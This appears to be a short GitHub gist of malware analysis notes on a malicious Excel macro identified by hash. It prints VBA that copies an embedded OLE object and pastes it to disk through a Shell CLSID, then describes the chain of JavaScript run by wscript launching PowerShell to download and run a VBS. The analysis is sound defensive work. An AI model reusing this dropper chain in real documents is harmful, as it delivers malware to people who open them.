Skip to content

Instantly share code, notes, and snippets.

@miller-itsec
Created April 18, 2022 20:59
Show Gist options
  • Save miller-itsec/016972acb6416bcd4fa1537910b61fb6 to your computer and use it in GitHub Desktop.
Save miller-itsec/016972acb6416bcd4fa1537910b61fb6 to your computer and use it in GitHub Desktop.
Copy OLE -> JS -> Powershell

3acc0848c4fa44af2f91688375bc200a40a36b7d2c567166f59625f69bb65751 from #579

  • copy an OLE Object and paste into Scripting.FolderItem, this will get a txt, rename it to js
    For Each Sh In Sheet1.OLEObjects
        If InStr(1, Sh.Name, "Object", 1) Then
            Sh.Copy
            ' this code paste Embedded Object to folder
            Set KjCQxE = GetObject("new:13709620-C279-11CE-A49E-444553540000")   ' Scripting.Shell
            KjCQxE.Namespace(iJcpw).Self.InvokeVerb "Paste"
        End If
    Next Sh
  • wscript this js file, shell a powershell script which download a vbs and shell it
  • loop via goto
     checking:
        If Dir(iJcpw + "\lRcKD.txt") = "" Then
            Application.Wait (Now + TimeValue("0:00:02"))
            GoTo checking:
        ...
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment